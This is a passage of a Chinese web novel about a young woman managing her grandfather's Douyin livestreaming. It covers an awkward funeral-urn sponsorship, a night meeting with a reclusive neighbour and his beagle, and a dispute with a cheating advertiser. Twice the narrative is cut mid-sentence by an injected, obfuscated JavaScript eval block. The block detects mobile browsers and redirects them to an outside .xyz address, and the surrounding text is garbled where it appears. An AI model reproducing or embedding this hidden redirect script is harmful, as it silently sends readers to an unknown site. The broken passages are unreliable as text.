姥爷咳了两声,舌根往上顶,挤压住喉咙,吃力地发出声音:“呃……我看到几位老朋友了,这个一串字母的朋友,谢谢你的小心心;翠花上酸菜,不要再问我初恋女友是谁了,已经是过去式了啊;六六六,蔡根花宝贝不在这儿……” 常乐灵机一动,掏出手机,在抖音上搜索“蔡根花”,一个个用户点进去,居然真的发现有个叫“根花宝贝”的中年女人正在直播,观看人数还不少。 “姥爷,你先别说话。”常乐小声提醒他。 她站在镜头之外,向前探着身子,伸出手,在他手机上搜索“根花宝贝”,然后申请连麦。 等了十几秒,那头居然真的接通了。 屏幕上出现了双频界面。左边是“根花宝贝”,她穿着一身粉色毛衣,配大红色背心,齐耳短发,笑容腼腆而亲切。 右边则出现了“苏太强”的鸵鸟蛋脑袋。 姥爷入戏很快,一见到对方就两眼发直,声音激动得微微发颤:“我的蔡根花宝贝啊,总算见到你了!” 常乐捂着嘴,笑得肩膀都在抖。 “呀,苏老师!”对面的女主播也十分配合,语带笑意,“好久不见!你今天穿的这身衣服,特别帅,特别年轻!” 姥爷憨笑:“哪里哪里,根花宝贝还是那么年轻,那么优雅。” 两人商业互吹了十多分钟,观看人数噌噌往上窜,点赞和打赏也络绎不绝。 结束连麦后,姥爷又回到了自己的直播间,发现右上角人数再创新高。他兴奋得满面红光,嘴角压都压不住。 这场直播结束得比平常都要晚。快十点了,姥爷还在恋恋不舍地查看粉丝的私信,挨个回复。 常乐都洗漱完毕,准备回卧室躺着,又被他喊住了—— “哎,这人是什么意思?为什么要加我微信?” 常乐摆摆手,不以为意:“变态私生饭呗,别理他。” “他说想找我商务合作,怎么合作啊?” 常乐脚步一顿,愣怔几秒后,忽然激动地冲过来,一把抢过他的手机。 “姥爷,你终于要接广告了!恭喜恭喜啊!” 姥爷也是又惊又喜:“啊?接广告是不是就能赚钱了?” “那是当然了!”常乐赶紧找到那条私信,飞快地打字:“可以,我的微信是——” 她手指一顿,抬起头,征求姥爷意见:“要不加我的吧?我跟他聊。” “行。”姥爷笑呵呵地说,“你就是我的经纪人。” 常乐输入自己的微信号,又掏出自己的手机,打开微信等待着。 仿佛过了一个世纪之久,好友申请的图标上终于出现了一个“1”。 她赶紧点击通过,然后给对方发了个笑脸。 对方的回复也很快:【苏太强老师,您好!我们公司有几款产品,想请您做推广,一条视频300,您看可以吗?】 常乐两眼放光,告诉姥爷:“一条视频300呢!” 姥爷难掩喜色,忙不迭地点头:“可以可以。你问问他,是卖什么的?” 常乐手指飞快:【可以。请问是什么产品呢?】 对方发来几张照片。 常乐点击照片放大,霎时间,整个人都僵住了。 她抬起眼,怔怔地望着姥爷。 姥爷急切地问:“什么啊?” “呃……”常乐不知该怎么开口。 她只好举起手机,给姥爷看照片。 以及底下的一行介绍: 汉白玉骨灰盒,洁白无瑕,优雅贵气,手工精雕,千年不坏,防水防潮防蚊虫…… 30. 30 “可以。”姥爷的回答出乎常乐的意料,“我接。” 常乐倒吸一口气。 虽然她以前跟珍姐调侃,说姥爷走丧葬路线,可以直播卖花圈、寿衣、纸钱什么的,但那都是口无遮拦的玩笑话。 一想到姥爷真要卖骨灰盒,她还是觉得过于惊悚,一时难以接受。 “姥爷,你要是缺钱可以跟我说啊——虽然跟我说也没啥用,”她弱弱地补了一句,“但是你不至于为了三百块钱,卖这种东西吧,多不吉利。” 姥爷满不在乎地说:“怎么就不吉利了?你看我试穿寿衣那条视频有多少人看,网友就喜欢看这个。” 常乐换了个思路,继续劝他:“喜欢看不代表会买啊。哪有人在网上买骨灰盒?不都是等人死了去殡仪馆买嘛。” “网上什么东西不能买?跟我下棋的那个李老头,有事没事就去庙里烧香拜佛,他就是在网上买的香,又粗又大质量又好,比庙门口卖的便宜多了。” “这两样东西,性质不一样。” “哎哟,你个老古董,思想怎么这么落后?” 两人争执不下,一时陷入僵局。 直到上厕所的姥姥好奇路过,加入战局,才彻底扭转形势—— “商家说会寄几个骨灰盒给我们拍视频,拍完后也不用寄回去。”姥姥眯着眼,查看常乐的微信,“也就是说,我们可以自己留着用?” 常乐:“……是这个意思。” 但这不是重点吧? “接。”姥姥果断道,“免费的,不要白不要。” 常乐气笑了:“姥姥,这种小便宜就没必要占了吧?” 姥姥振振有词:“现在一个骨灰盒多贵啊,我们单位那个杨老师,去年过世了,听说买骨灰盒花了一千多呢。人总有那一天,家里多存几个,以后总能用得上。” 常乐提醒她:“姥姥,你不是常说要避谶吗?” 姥姥不屑一顾:“嗐,避什么谶?都是封建迷信,你年纪轻轻的,怎么信这种东西?” ……这双标真是绝了。 常乐哑口无言。 二比一,常乐惨败,还被两个加起来一百七十岁的老人批评思想守旧,迟早要被时代抛弃。 既然网红本人都同意了,那她这个菜鸟经纪人也只能配合工作。 她拿起手机,回复道:【可以。有什么具体要求吗?】 等了几分钟,对方发过来几条建议,包括视频时长、台词、发布时间等等,常乐跟姥爷一一交代,姥爷点头允诺,胸有成竹:“没问题。” 敲定完姥爷的首个商务项目,常乐回到房间,躺在床上,整理纷乱的思绪。 她觉得整件事荒诞得像个恶作剧,但是归根到底,姥爷想当网红这件事,本身就挺荒诞的。 要知道,他可是个从业三十多年的老教师,永远是一副正儿八经、为人师表的形象,现在突然来了个一百八十度大转弯,真是让人措手不及。 不知道他以前的学生看到了,会作何感想。 常乐闭着眼,想着这一摊子事,迷迷糊糊地睡着了。 梦里不也踏实,她先是打开一个骨灰盒,从里面突然弹出来一个小丑,仔细一看是姥爷,高声大喊:“根花宝贝!” 接着又坐在餐桌上,桌上堆满了鸡蛋,姥姥还一个劲儿地往她碗里夹炒鸡蛋。 她拼命拒绝,满桌的鸡蛋忽然开始裂壳,从里面钻出一只只马蜂,振动翅膀,密密麻麻,朝她扑过来…… “啊啊啊——” 常乐吓醒了,在黑暗中急促地喘着气。 胸口憋闷得厉害。她打开灯,才发现胜宝不知何时趴在了她的胸口上,屁股朝上,大尾巴蒙着她的脸。 难怪梦里被马蜂袭击的感觉那么真实。 常乐坐起身,离开被窝,前胸后背凉飕飕的。 待心绪渐渐平复,她看了眼手机,才两点。窗帘的缝隙透入一缕路灯的光,窗外寂静无声。 反正睡不着,不如出去溜达溜达,看看凌晨两点的小区是什么样。 这个念头一出,常乐莫名兴奋起来。她起身穿好居家服,将头发捋在脑后,用鲨鱼夹固定。 她正要出门,回头看见胜宝,决定把她也带出去,一来作伴,二来防身。 “胜宝,出门不?” 胜宝掀起眼皮,眼神迷离涣散。 “反正你也醒了。”常乐拍拍她的屁股,语气愉悦,“走啦,张怀民,出去拉屎。” 常乐连推带赶,将胜宝赶出房间,在玄关换鞋时,顺便给她套上牵引绳。 走出楼道,寒气扑面而来,钻心入肺。没走两步,耳朵就冻麻了。 幸好居家服够暖和,她双手往兜里一插,走在树影绰绰的小路上,只能听见自己的脚步声。 这种感觉真自由。 胜宝一摇一摆地走在她旁边,从一开始不情不愿、脚步拖沓,渐渐变得兴奋雀跃,大尾巴也竖得高高的,欢快地摆动着。 这段时间,常乐每次遛狗,都会特意选择人少的时间段,比如午饭后、晚饭前。胜宝刚出月子,还不能做绝育,常乐担心她又被好色之徒盯上,只能尽量走小道,避开那些不怀好意的男狗。 不过,这个时间点还在外游荡的,除了她们俩,估计就只剩下鬼了。 所以,胜宝想去哪儿就去哪儿。 她的脚步越来越快,径直奔向小区主干道,每棵树都要凑上去嗅一嗅,挑选合适的树干尿上几滴,然后奔向东边的大草坪,在那里撒欢地奔跑起来。 等肠道充分蠕动后,她挑选了一处灌木林围成的角落,压低臀部,绷直尾巴—— “哎哎,你等会儿啊!” 常乐突然想到自己没带塑料袋,于是赶紧去旁边的垃圾桶里翻找。垃圾桶堆得高高的,她一眼就看到了一个夹缝中的空薯片袋,正好可以一用。 她拿着薯片袋往回走,突然,灌木林中蹿出一道黑影,速度飞快,笔直地向胜宝奔去。 胜宝听到动静,正要收起臀部,可惜已经来不及了。 那道黑影冲到她身后,猛地刹住脚步。 等常乐冲过去时,它已经匍匐在地,发出“吧唧吧唧”声,好像在…… 常乐:“!!!” 她简直不敢相信自己的眼睛。要不是怕夜深人静、噪声扰民,她真的想放声尖叫。 灌木林上方有一盏路灯,光线虽然昏暗,但依旧将眼前的一幕照得清清楚楚—— 一条狗,在吃胜宝的屎。 新鲜出炉的,热气腾腾的,甚至草坪上的吃完了,它还意犹未尽,仰着脑袋,伸出大舌头,去舔胜宝屁股上的残留物。 胜宝吓傻了、颤抖了、发狂了。 她猛地转过身,龇牙咧嘴,对着这条不要脸的狗狂吠起来。 这时,路灯下飘来一个人影,悄无声息,伫立在这条狗身后。 常乐仿佛看到救兵,慌忙大喊:“大姐,这是你家的——哦,不好意思,”在看清他的脸后,她赶紧改口,“大哥,这是你家的狗?” 眼前这位大哥身形瘦削,黑发垂到肩上,油腻腻地贴着头皮,戴着黑框眼镜,穿着脏兮兮的居家服。 要不是隐隐闻到他身上的馊味,常乐还真以为飘来了一只阴湿男鬼。 “嗯,我家的。”他缓缓开口,语气有些生硬,“它就好这口,你别介意啊。” 两人隔得很近,常乐看着他的脸,总觉得似曾相识。 “你住哪栋啊?”她试探地问。 “九栋。” 遥远的记忆被唤醒,常乐想起来了,他就是那个住在九栋的王老师的儿子,被林文娟当做反面典型来教育她。 不愧是资深宅男,常乐回家这么久,还是头一回见到他。 “你爸是二中的王老师吧?你叫王什么来?” “你问这个干什么?”他似乎很抗拒提自己的名字,“要找我算账吗?我家狗又没把你家狗怎么样。” 常乐笑了下,解释道:“我不是这个意思。我叫常乐,以前做核酸的时候见过你,所以有点印象。” 他迟疑着说:“你……叫我小王就行。” 常乐撇撇嘴,转开视线。 一个名字而已,这么扭扭捏捏的,跟他聊天可真费劲。 常乐本不想再搭理他,但胜宝刚刚没拉尽兴,想找个角落继续拉,而那条大耳朵狗一直跟在她身后,翘首以盼,求屎若渴。 胜宝烦不胜烦,甩又甩不掉,只得钻进常乐的两腿间,发出低低的呜叫,寻求主人的庇护。 常乐也对那条死皮赖脸狗忍无可忍:“哎,小王……哥,你能不能管管你家狗?你就这么放任它吃屎?” “管什么?”小王又轻笑一声,“吃屎已经是它最微不足道的缺点了。” 常乐深吸一口气,憋在胸口,无处释放。 “你这狗……”她话音一顿,忽然想明白了,“难怪你要在半夜三更溜它。” 因为白天当众吃屎真的很社死啊。 小王摇摇头,“我这个点儿溜它,是因为我的作息跟一般人不一样。我六点睡,两点起,一天只吃两顿。” 常乐的脑子一时没转过弯:“六点就睡了?那挺早的啊。” 小王无语地看她一眼,“是挺早的,早上六点。” 常乐:“……” 您能活到现在,真是上天有好生之德啊。 对别人的生活方式,她不好评价,但是同为养狗人,有些事实在是忍不了。 “冒昧地问一句,为什么你家狗好这口啊?你是不是饿着它了?要是连狗粮都舍不得买,那还养什么狗啊。” 此时,那条狗正低着头在草地上四处寻觅,似乎想找到其他狗残留下来的美味佳肴。 胜宝也趁机钻进了灌木林,迅速清理库存。 小王嘴角浮起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696870|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹苦笑。 “呵,饿着它?我什么狗粮都试过了,狗罐头、零食、冻干也没断过,可它就爱吃屎,我能有什么办法?” 他叹了口气,抬起手,捋了捋油腻腻的黑发,给她细数大耳朵狗的恶行:“我家沙发换了三个,窗帘没有一块是完整的,电冰箱的线被它啃断了,衣柜里有它的屎尿……比格就这样,你把它当神经病就行了。” 常乐恍然大悟。 哦,是臭名昭著的比格大魔王啊,那就不奇怪了。 “可是你干嘛要养它呢?养条正常的狗不好吗?” 小王仰着头,望着黑压压的夜空,陷入了回忆:“那天,我爸把它带回来,说是路上有个大哥不要了,免费送的,还送狗窝和狗粮。我爸想让我每天遛狗,多出去走走……真是错得离谱,因为这条狗,我更不敢出门了。” “咚——” 身后传来一声闷响。 常乐转过头,看见垃圾桶翻倒在地,那条比格在垃圾堆里拱来拱去,撕咬着垃圾袋。 常乐不由得对小王生出几分同情。 果然,天下没有免费的馅饼,只有陷阱。 她沉默片刻,试图转移话题:“小王哥,我听说你在家里待了几年,感觉怎么样?” 小王移开视线,语气有些抗拒:“你问这个干嘛?” 常乐坦诚相告:“因为我也打算待在家里,当个全职女儿,就是在家照顾老人,分担家务,父母给我发工资。我觉得跟上班差不多。” “全职女儿?”小王脸上浮起一抹嘲讽,“说得好听,不就是啃老吗?” 常乐愣了下,语气有些不悦:“……你不也是这样的吗?” “对,我就是在啃老。”他大大方方承认,“因为我不想出门,不想上班,不想跟人打交道。” “那你嘲笑我干嘛?” “我是笑你把家里蹲这件事想得太美好了。刚开始你父母还会包容你,体谅你,一段时间后,就会开始抱怨你,嫌弃你,时间久了,看你一眼就烦,你们不吵架才怪。” 常乐哑口无言,心情越来越沉重。 小王继续说:“另一方面,你会越来越封闭,反应越来越迟钝,不爱出门,不爱说话,每天就是上网、睡觉、点外卖,昼伏夜出,死气沉沉,活得像下水道里的老鼠一样。” 常乐好心劝他:“别这么说自己。” “不光是我。”小王直言道,“你以后也会变成这样。” 常乐有些恼火,怼道:“我才不会!我有事干,每天忙得要死,我的家人也很包容我,我才不会变成老鼠人。” “那你为什么大晚上的不睡觉?”小王推了推眼睛,指着她,“你看,你已经开始昼夜颠倒了。” 常乐辩解道:“我平时作息很规律的,今天是特殊情况,半夜醒了睡不着,就出来溜达溜达嘛。” “这只是个开始。” “……你少吓唬我!” 小王不屑地笑了笑,这笑容让常乐更恼火了。 他质问道:“你要是真的当全职女儿当得心安理得,为什么会问我这个问题?这说明你内心深处,对这个身份并不认同。你不甘心宅在家里,又不敢出去闯,所以才会陷入纠结。” “……”常乐气急败坏,忍不住提高音量,“你懂个屁!” 小王语气嘲讽:“对,我是老鼠,我哪懂人类啊?” 胜宝听到吵架声,从灌木林里钻了出来,对着他低吠两声,以示威胁。 而那条比格,早已消失在了垃圾堆里。 小王慢慢收起笑容,对常乐说:“趁现在还没有丧失独立生活的能力,赶紧出去吧,去哪儿都行,别待在父母身边。你看看树林里,有哪棵小树能在大树底下健康长大?” 常乐根本不想搭理他。 她牵着胜宝的狗绳,转身想走,脚步却迟迟没有迈开。 她回过头,问小王:“那你呢?你想得这么通透,为什么不出去工作?” 小王站在原地,一动不动。昏黄灯光下,他的脸颊凹陷下去,像一具被吸干血气的干尸。 “因为,”他缓慢地说,“我躲在大树底下太久了,长不出根,也发不了芽,早就成了一截枯木,就算哪天,把我移植到有阳光雨露的地方,我也活不下去。” 常乐久久没有说话。 她转身往回走,将手里的空薯片袋扔进垃圾桶,嘟哝道:“白捡了。” 沿着原路返回,四周静谧无声,路灯隔得很远,大部分的路段都昏暗无光,只能靠着手机照亮脚下的路。 “我不会这样的。” 她安慰自己。 她不会成为老鼠,也不会变成枯木。 外面风吹雨打,无处容身,她只是暂时躲在家人的庇护之下,接受他们漏下来的雨水和阳光。 即便活在大树底下,她也会默默地生根发芽,总有一天,她会重新生活在阳光之下。 31. 31 之后的几天,常乐每每回想起那个失眠的夜晚,总会陷入恍惚和迷惑之中。 那个不修边幅的年轻人,和那条神经兮兮的狗,是真实存在的吗?不会是梦吧? 虽然现实生活中,她与九栋王老师的儿子并无交集,但也许在潜意识里,她始终记得他的模样,害怕步他的后尘,若有所思,才夜有所梦…… 常乐试图找身边人求证。 先是林文娟。她的记忆有些模糊:“哦,你说那个小王啊,我有大半年没见到他了,真不记得他长什么样了……啧,年纪轻轻的,可惜了……” 她又找到姥爷,试图从狗下手。 姥爷:“啥?啥比格儿?” 常乐:……怎么听着像骂人呢? “就是有种狗,耳朵很大,身上一块黑一块黄的。”她顿了下,伸手挡住嘴,压低声音,似乎羞于提起,“……它爱吃屎。” “没听说过。”姥爷摆摆手,认为她在编瞎话,“现在连流浪狗都不吃屎了。” 常乐:…… 她找谁说理去? 直到周三下午,她在菜鸟驿站碰到易诚,跟他聊起这件事,终于得到了肯定的答复。 “哦,你说鼠哥啊,我见过几次。”他笑了笑,语气轻松得像是在谈论一个老朋友,“没你说得那么神秘,他就是喜欢昼伏夜出,跟吸血鬼似的。” “鼠、哥?”常乐有一丝嫌弃,这外号也太傻了。 “他老说自己是阴沟里的老鼠,我就这么叫他了……他大名叫什么,我还真不记得了。” “你也是半夜溜达碰到他的?” “是啊,有阵子压力大,夜里老失眠,我就出门转转。有次碰到他在小区里找狗,大晚上的,他又不敢大声喊,只能拿着手电筒,跪在草丛边往里照……”易诚捂着胸口,仿佛心有余悸,“说实话,我被吓了一跳。” “后来呢?” “我就帮他一起找啊。”对那个夜晚,易诚记忆犹新,“西南角有个小水池,你记得吧?里面的水都臭了。我就是在那里找到它的。” 那天晚上,鼠哥跟易诚大吐苦水,细数他养了这条白眼狼之后遇到的糟心事。 真是闻者伤心,见者流泪。 “比如,他的狗有次吃了过期的屎,回来后全吐他枕头上了。”易诚咽了咽唾沫,脸色微微发青,“后来,我一想到那个画面,就恶心得吃不下饭。那段时间我饿瘦了好几斤。” ……真是超级无敌大冤种啊。 常乐又同情又想笑。 最后,易诚总结道:“他白天就跟哑巴一样,晚上还挺健谈的,可能是黑夜给了他安全感吧。” 常乐嘀咕道:“真是个怪人。” 轮到他们取快递了。常乐从店员手里接过一个白色泡沫盒,压得她手臂一沉,差点没端住。 “我来吧。”易诚从她怀里接过泡沫箱,掂了掂。 “嚯!”他忍不住好奇,“什么东西啊,这么重?” 常乐也没料到,几个骨灰盒能有这么沉。 如果跟易诚说实话,他会不会吓得直接把箱子甩出去? “哎,你是不是关注了我姥爷的抖音?” “对啊。”易诚惊奇地问,“你怎么知道的?我的名字是一串乱码,就是为了隐藏身份。” 常乐挑挑眉,表情笃定,“他每次直播你都在,还老给他送小心心,我就猜到了肯定是身边的熟人。” 易诚不好意思地笑笑。 常乐冲他怀里的泡沫箱抬了抬下巴,“这里面是他要推销的产品,等过几天,视频发出来,你就知道了。” “哇,他还接广告了?厉害厉害。” 易诚的包裹是一袋防撞垫,虽然体型硕大,但轻飘飘的。常乐毫不费力地将它扛在肩头。 两人朝小区大门走去。 易诚端着泡沫箱,走得很小心,生怕把姥爷的财神爷给碰碎了。 “对了,我这周末就要开班了。”经过一片儿童活动区时,易诚突然开口,“周末是最忙的时间,以后就不能陪你看脱口秀了。” 常乐肩上的大包裹一甩,回过头,瞥他一眼。 “谁要你陪了?再说了,我也不是很喜欢看,那两次是受人之托。” 易诚亦步亦趋地跟在她身后,安静片刻,低声说:“我的意思是,你要是想出去玩又找不到伴儿,我周一到周五的白天基本都有空。” 常乐低下头,嘴角扬起一抹笑。 “行,我会考虑的。”顿了顿,她又回头看他,恢复一本正经的表情,“不过啊,我平时也挺忙的,家里一堆事儿等着我处理呢。” 易诚咧开嘴角,粲然一笑。 “我知道,你是万能的全职女儿嘛。” 沉甸甸的泡沫箱终于搬到了茶几上,易诚跟姥姥姥爷打了个招呼,就跟着常乐进了卧室,去探望小狗。 小狗们长得圆滚滚的,小短腿已经能跑能跳了,精力异常旺盛,充满了好奇心,喜欢满屋子乱钻。常乐每次出门回来,都得四处找狗。 一只正窝在枕头上睡觉,一只躲在窗帘后面,一只不知怎么钻进了抽屉里,还有一只,愣是翻遍全屋也找不到。 易诚抱起抽屉里的那只,摸着它肉肉的脑袋,问常乐:“该打疫苗了吧?” 常乐跪在地上,用笤帚在床底下拨来拨去,弄得灰头土脸的,还是一无所获。 她叹了口气,说:“六周打第一针,再等几天吧。” “行,到时候一起去。” 易诚将小狗放回狗窝,起身走到墙角的落地挂衣架旁,上面挂着常乐的居家服。 “在这儿呢。”他指着居家服的口袋,一个圆滚滚的小脑袋从里头钻了出来,“藏得真好。” 常乐腾地一下从地上弹起,急声大喊:“哎别动——” 可惜,还是迟了一步。易诚已经取下了居家服,一件粉色内衣从挂衣架上掉下来,落在易诚的棉拖鞋上。 四目相对,鸦雀无声。 空气中飘着一丝尴尬的气息。 常乐眯起眼,语气凉飕飕的:“进女生房间别乱动东西,这个道理不懂吗?” 易诚视线躲闪,不敢看她,更不敢看地上那一抹粉红。手上的居家服也不知该往哪儿搁。 呆滞几秒后,他将居家服挂回衣架上,又弯下腰,准备捡起内衣。 常乐大吼一声:“别动!我来!” 她一个箭步冲过来,捡起内衣,嗖地一下甩进了旁边的衣柜里。 “对不起啊……”易诚嗫嚅着,脸红得像灌了一瓶白酒。 “哎呀,走走走。”常乐不耐烦地摆摆手,把他赶出了卧室。 她关上门,从衣柜里捡起那件内衣,提到鼻子底下闻了闻。 味道还行,没馊。颜色也挺正常,没有残留可疑的污渍。 她又将内衣扔进衣柜里,从居家服的口袋里掏出那只始作俑者小狗,检查下身,是只公狗。 “果然,”常乐总结道,“男性就是万恶之源。” 有的嘴贱,有的手欠,还有的,把世界搅得天翻地覆后,还一脸无辜地吐着舌头,企图萌混过关。 -- 等易诚走后,常乐才走出卧室,迫不及待地拆开泡沫箱,从里面端出三个骨灰盒。 第一个是琉璃材质的白色瓮罐,跟青皮椰子差不多大;第二个是黑檀木材质的长方体,外观平平无奇,跟市面上常见的骨灰盒差不多;第三个是陶瓷材质的粉色小方盒,盒身镶嵌着一圈水钻,亮闪闪的,盒盖上还嵌着一个水晶蝴蝶结。 常乐对第三个骨灰盒一见钟情。 “哇!这个留给我吧!” 姥姥“啧”了一声,呵斥道:“别瞎说!你还早着呢。” 常乐笑嘻嘻地说:“有备无患嘛,正好也给我的后人省点钱。” 箱子里还有几张宣传单,姥爷戴上老花镜,一字一句地研读每款骨灰盒的介绍词: “……一体成型,圆润饱满,如脂如玉,千年不腐……” “乐儿啊,”他摘下眼镜,“你写个文案,把这三款产品的介绍词串起来。” 常乐从他手里接过宣传单,爽快地答应:“行啊。” 谁让她是万能的呢? 晚上,常乐把自己锁在房间,研究每款骨灰盒的卖点。 白色瓮罐,优雅圣洁;粉色瓷盒,少女心满满;而那个黑檀木盒,常乐意外地发现,它居然是个榫卯结构的机关盒。 一开始,她怎么掰都打不开,直到她找商家要来视频教程,照着一步一步做,才终于打开盒子。 常乐长长地吐出一口气,忍不住吐槽:搞这么复杂,是怕有人偷骨灰拿去和面吗? 真是多此一举。 常乐忙活了一晚上,第二天一早,她打着哈欠,交出一摞稿纸。 姥爷坐在沙发上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703661|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,戴着老花镜,一张张翻阅下来,对她的效率表示满意。 今天天气不错,他们决定在户外拍摄。 常乐带着姥爷在小区里转了一圈,终于找到一条偏僻安静的小路。两旁的桂花树在冬天依旧是一身青翠,枝叶间漏下斑驳的阳光,景色正好,光线适宜。 姥爷整理了一下衣领,对着镜头,露出慈祥的笑容。 常乐站在三脚架后,举起第一张稿纸。 姥爷用标准的普通话念道:“生与死,是人生庄重的课题。对这个课题,有人抵触,有人调侃,有人觉得自己还年轻,死亡离自己还很遥远。” 姥爷话音一顿,常乐急忙换第二张稿纸。 “关注我的朋友们都知道,我今年86了,已经不可避免地要走向死亡这座大山。所以,我为自己挑选了这三款骨灰盒,请大家帮我看看,哪一款最适合我呢?” 常乐飞快地放下稿纸,从箱子里掏出白色瓮罐,递给姥爷。 姥爷双手端着瓮罐,体态端庄,笑容依旧。 “第一款,是白琉璃材质。大家可以看到,它的形状十分圆润饱满,色泽光洁莹亮,干净剔透,象征着生命的神圣与纯净……” 姥爷的话音一停,常乐就飞快地换稿纸,两人的配合十分默契。 几分钟后,第一段顺利拍完。 常乐又从箱子里端出那个粉色小盒子。 “咦,怎么不先拍那个?”姥爷拧开保温杯,疑惑地问。 箱子里还剩下那个黑檀木机关盒。 “那个啊……”常乐面露难色,“那个比较复杂,最后拍吧。” 姥爷喝了口热茶,润了润嗓,从她手里接过粉色骨灰盒。 “第二款,是陶瓷材质。它的外形方正,颜色清新可爱,在设计上更是藏着许多小巧思。比如盒盖上这枚水晶蝴蝶结,转动一圈,就可以播放音乐,我可以把自己最喜欢的曲子录进去,也可以录一段自己说的话。以后,我的家人们想我了,随时可以听到我的声音,仿佛我从未离去……” 第二段也顺利拍完。 轮到第三款骨灰盒了。常乐把姥爷带到附近的石桌旁,将骨灰盒摆在他面前。 “姥爷,这款骨灰盒最大的卖点是,它很难打开,也很难关上。”常乐说完这话,自己都觉得荒唐,忍不住笑了,“所以,你得先学着怎么打开它。” 姥爷半信半疑地看着她。 “一个盒子而已,能有多复杂?” “你试试呗。” 姥爷端详起桌上的盒子。盒面光滑,线条流畅,没有任何的装饰。盒盖被分割成了三块,左右各是个小长方形,中间是个正方形。 姥爷往上掰盒盖,掰不开;往左右挪,挪不动。 他拿起盒子,研究了一番后,决定从盒盖上的几个小块下手,可是掰来掰去,依旧纹丝不动。 “这什么玩意儿……”他嘟哝道,“真的能打开吗?” 常乐坐在他旁边,给他演示:“应该这样。” 她先移动盒盖右边的小长方形,挪开一条小缝,然后将中间的正方形挪到右边,再撬开左边的小长方形,然后再…… “咦,怎么弄来着?”她也忘了。 只好打开手机,重看一遍商家发的视频。 最后,两人费了九牛二虎之力,终于将盒子打开。 姥爷和常乐对视一眼,从彼此的脸上看到了深深的无语。 “行吧,开拍。” 姥爷回到镜头前,端起这个骨灰盒,照着常乐写的台词念道:“第三款,精选天然优质黑檀木,采用了中国古代的榫卯工艺……” 台词很快念完,到了演示环节。 姥爷一边回忆刚才的操作,一边挪动盒盖,先右边,再中间,再左边,然后…… 然后怎么弄来着? 他抬起头,一脸茫然地看向常乐。 常乐赶紧上前,小声指导:“再把这个小方块掰上来。” “哦哦。”姥爷急忙掰开中间的方块,接着,又是一脸困惑。 “然后呢?” “然后把左边的长方形往下摁。” 姥爷又照做,“然后呢?” 常乐一巴掌捂住自己的脸。 这么离谱的设计,真的能卖出去吗? 亲人都烧成灰了,就等着装盒下葬,你还傻不愣登地抱着个盒子左挪右挪,上掰下摁,这像话吗? 32. 32 由于姥爷怎么都学不会,并且情绪逐渐失控,常乐决定亲自出马,当他的手替。 她坐在石凳上,姥爷站在她身后,高举着手机,对准桌上的骨灰盒。 为了让操作更加流畅,常乐开始前,又看了一遍教程,并在心中反复推演。 即使这样,两人还是拍了五次才成功。 “咔哒”一声,盒盖终于打开,盒底用铜钱镶嵌成北斗七星的形状,并用隶书刻着八个字:“七星引路,福泽后人。” 不得不说,这个骨灰盒设计得还是挺用心的,尤其是在防盗方面。 不过常乐始终想不明白,除了古早虐文里的变态男主,还有谁会对别人的骨灰这么有占有欲。 终于可以收工了。一老一少扛着设备、抱着骨灰盒沿原路返回,脸上挂着打工人深深的疲惫。 下午,常乐就在家剪视频、配字幕、加上背景音乐,最后合成一段五分钟的视频,发送给金主。 金主大人表示满意,爽快地付了一百块的定金,又说:【亲,尾款要等到视频发布后再给哦。】 常乐挠挠头,翻看之前的聊天记录。 怎么跟说好的不一样呢?难道还怕她携骨灰盒潜逃? 虽然有些许不满,常乐还是依照约定,在晚上七点整,伴随着《新闻联播》的背景声,用姥爷的手机发布了视频,并在底下附上购物链接。 她把视频转发给金主,只收到了一句:【好的。辛苦啦!】 然后呢? 常乐:【可以付尾款了吧?】 对方:【亲,公司要看视频推广的效果哦,卖出去一单,给你们提成20。只要超过十单,就可以支付尾款了哦。】 常乐气得拍桌子,大骂:“我日.你大爷!” 旁边的姥爷吓了一跳,板起脸来教训她:“女孩子可不能乱说脏话啊,要注意个人素质。” 见常乐脸色铁青,他又问:“怎么了?是不是人家对视频不满意?不满意我们就重做嘛,没啥大不了的。” “没事没事。”常乐站起身,故作镇定地安慰他,“我来搞定。” 她回到房间,关上门,对着空气恶狠狠地打了一套王八拳。 奸商! 300块,要给你做推广,还要保证销量?敢情你是想空手套白狼啊? 常乐实在咽不下这口气,掏出手机,暴躁地打字:【马上打钱!否则我立刻删除视频!还要发视频曝光你!】 对方慢悠悠地回复:【亲,不要那么激动嘛,又不是不给钱。】 常乐:【那你倒是给啊!】 对方:【公司付款也是要走流程的,最快也得明天。】 常乐:【不行,就现在!你先给我垫付了,明天再走流程报销。】 对方:【亲,你这种态度,我们以后还怎么合作?】 常乐冷笑一声,回复:【没有下次了。】 对方发了个双手摊开的表情包,迟迟没有下文。 常乐只觉得胸闷气短。她攥着手机,在房间里转来转去,喘气声大得像头水牛。 气死了!她辛苦写了一晚上的文案,拍了一上午的视频,又花了一下午做后期,好不容易完工了,却给她来这么一出? 200块都舍不得给,她的劳动就这么不值钱吗?前公司跑路拖欠她工资,奸商想白嫖她的劳动成果,难道打工人就是天生被骗、被欺负、被压榨的命吗? 常乐胸中腾起一团怒火。 不行,她早已不是职场中那个忍气吞声的牛马了,她是个人,一个铁骨铮铮、且有勇有谋的人! 她一屁股坐在床上,点开姥爷的视频,进入购买链接,一口气买了十个骨灰盒,花了整整2800块。 她把购买截图发给奸商。 【现在可以付款了吧?】 对方:【???这是你自己买的?】 